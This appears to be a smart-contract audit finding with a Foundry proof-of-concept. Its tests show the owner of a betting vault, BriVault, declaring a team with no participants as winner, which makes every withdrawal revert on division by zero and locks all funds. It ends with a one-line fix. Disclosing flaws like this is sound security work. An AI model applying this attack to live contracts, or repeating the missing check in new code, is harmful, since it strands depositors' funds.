The POC demonstrates how setWinner() allows declaring winners for teams with zero participants, causing totalWinnerShares = 0 and subsequent division by zero in withdraw() that permanently locks all vault funds. It shows the owner setting a winner for an empty team, then any withdrawal attempt causing a Math.mulDiv(shares, vaultAsset, 0) division by zero. The test verifies that all vault funds become permanently inaccessible once the invalid winner is declared.
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
* PoC: setWinner() Allows Zero-Participant Winners, Causing Division by Zero in withdraw()
* Impact: Permanent fund lock of all vault assets
*
* Root Cause: setWinner() lacks validation for totalWinnerShares > 0, allowing owner to
* declare winners for teams with zero participants, causing Math.mulDiv(shares, vaultAsset, 0)
* to revert with division by zero in withdraw().
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract ZeroWinnersDivisionByZeroPoC is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100;
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[3] memory countries = ["Brazil", "Argentina", "France"];
vault.setCountry(countries);
vm.stopPrank();
asset.mint(user1, 1000 ether);
asset.mint(user2, 1000 ether);
vm.startPrank(user1);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(user2);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
* CRITICAL VULNERABILITY: setWinner() allows zero-participant winners, causing permanent fund lock
*
* Attack Flow:
* 1. Tournament has multiple teams
* 2. Users participate in popular teams only (one team has 0 participants)
* 3. Owner sets winner for the empty team
* 4. _getWinnerShares() returns totalWinnerShares = 0
* 5. All winner withdrawal attempts fail with division by zero
* 6. All vault funds become permanently locked
*/
function test_ZeroWinnersDivisionByZero_FundLock() public {
console.log("=== ZERO WINNERS DIVISION BY ZERO - FUND LOCK ===");
vm.startPrank(user1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, user1);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(user2);
vault.deposit(200 ether, user2);
vault.joinEvent(1);
vm.stopPrank();
console.log("Brazil participants:", vault.getWinnerSharesForTeam(0) / 198 ether);
console.log("Argentina participants:", vault.getWinnerSharesForTeam(1) / 198 ether);
console.log("France participants:", vault.getWinnerSharesForTeam(2) / 198 ether);
console.log("France has ZERO participants - perfect for attack!");
vm.warp(EVENT_END + 1 hours);
console.log("Tournament ended, owner sets France (empty team) as winner...");
vm.startPrank(owner);
vault.setWinner(2);
vm.stopPrank();
console.log("Winner set to France (team with zero participants)");
console.log("totalWinnerShares:", vault.totalWinnerShares());
console.log("CRITICAL: totalWinnerShares = 0 - division by zero imminent!");
console.log("Attempting withdrawal from winner...");
vm.startPrank(user1);
uint256 vaultBalanceBefore = asset.balanceOf(address(vault));
console.log("Vault balance before withdrawal:", vaultBalanceBefore);
vm.expectRevert();
vault.withdraw();
vm.stopPrank();
uint256 vaultBalanceAfter = asset.balanceOf(address(vault));
console.log("Vault balance after failed withdrawal:", vaultBalanceAfter);
assertEq(vault.totalWinnerShares(), 0, "totalWinnerShares is zero");
assertEq(vaultBalanceBefore, vaultBalanceAfter, "Funds remain locked in vault");
assertGt(vaultBalanceAfter, 0, "All funds permanently inaccessible");
console.log("=== CATASTROPHIC FUND LOCK CONFIRMED ===");
console.log("All vault funds permanently locked due to division by zero");
console.log("No recovery mechanism exists");
console.log("Protocol completely broken");
}
* Demonstrate the root cause: setWinner() allows zero-participant winners
*/
function test_RootCause_ZeroWinnerValidationMissing() public {
console.log("=== ROOT CAUSE ANALYSIS ===");
vm.startPrank(user1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, user1);
vault.joinEvent(0);
vm.stopPrank();
assertGt(vault.getWinnerSharesForTeam(0), 0, "Brazil has participants");
assertEq(vault.getWinnerSharesForTeam(1), 0, "Argentina has zero participants");
assertEq(vault.getWinnerSharesForTeam(2), 0, "France has zero participants");
vm.warp(EVENT_END + 1 hours);
console.log("Owner sets Argentina (empty team) as winner...");
vm.startPrank(owner);
vault.setWinner(1);
vm.stopPrank();
console.log("PROBLEM: setWinner() succeeded despite zero participants!");
console.log("totalWinnerShares:", vault.totalWinnerShares());
console.log("This will cause division by zero in all withdrawals");
assertEq(vault.totalWinnerShares(), 0, "totalWinnerShares = 0 - guaranteed division by zero");
assertEq(vault.winnerSet(), true, "Winner is set but invalid");
}
* Show how this affects legitimate winners
*/
function test_ImpactOnLegitimateWinners() public {
console.log("=== IMPACT ON LEGITIMATE WINNERS ===");
vm.startPrank(user1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, user1);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(user2);
vault.deposit(200 ether, user2);
vault.joinEvent(0);
vm.stopPrank();
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(2);
vm.stopPrank();
console.log("Owner set France (empty) as winner");
console.log("Brazil participants lose their rightful winnings");
vm.startPrank(user1);
vm.expectRevert();
vault.withdraw();
vm.stopPrank();
vm.startPrank(user2);
vm.expectRevert();
vault.withdraw();
vm.stopPrank();
console.log("Both legitimate winners permanently locked out of their funds");
console.log("Owner successfully ruggod all participants");
}
* Demonstrate the mathematical division by zero
*/
function test_MathematicalDivisionByZero() public {
console.log("=== MATHEMATICAL DIVISION BY ZERO DEMONSTRATION ===");
vm.startPrank(user1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, user1);
vault.joinEvent(0);
vm.stopPrank();
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(2);
vm.stopPrank();
uint256 userShares = vault.balanceOf(user1);
uint256 vaultAsset = vault.finalizedVaultAsset();
uint256 totalWinnerShares = vault.totalWinnerShares();
console.log("Mathematical calculation in withdraw():");
console.log("userShares:", userShares);
console.log("vaultAsset:", vaultAsset);
console.log("totalWinnerShares:", totalWinnerShares);
console.log("Formula: Math.mulDiv(", userShares, ",", vaultAsset, ",", totalWinnerShares, ")");
console.log("Result: DIVISION BY ZERO - transaction reverts");
assertGt(userShares, 0, "User has shares");
assertGt(vaultAsset, 0, "Vault has assets");
assertEq(totalWinnerShares, 0, "totalWinnerShares is zero - guaranteed failure");
}
* Show emergency recovery is impossible
*/
function test_NoRecoveryMechanism() public {
console.log("=== NO RECOVERY MECHANISM ===");
vm.startPrank(user1);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, user1);
vault.joinEvent(0);
vm.stopPrank();
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(2);
vm.stopPrank();
uint256 lockedFunds = asset.balanceOf(address(vault));
assertGt(lockedFunds, 0, "Funds are locked in vault");
console.log("Attempting to reset winner...");
vm.startPrank(owner);
vm.expectRevert("WinnerAlreadySet");
vault.setWinner(0);
vm.stopPrank();
console.log("Cannot reset winner - WinnerAlreadySet error");
console.log("No emergency withdrawal functions exist");
console.log("Funds permanently locked forever");
vm.startPrank(user1);
vm.expectRevert();
vault.withdraw();
vm.stopPrank();
assertEq(asset.balanceOf(address(vault)), lockedFunds, "Funds remain permanently locked");
}
}
Add validation in setWinner() to ensure winners have participants.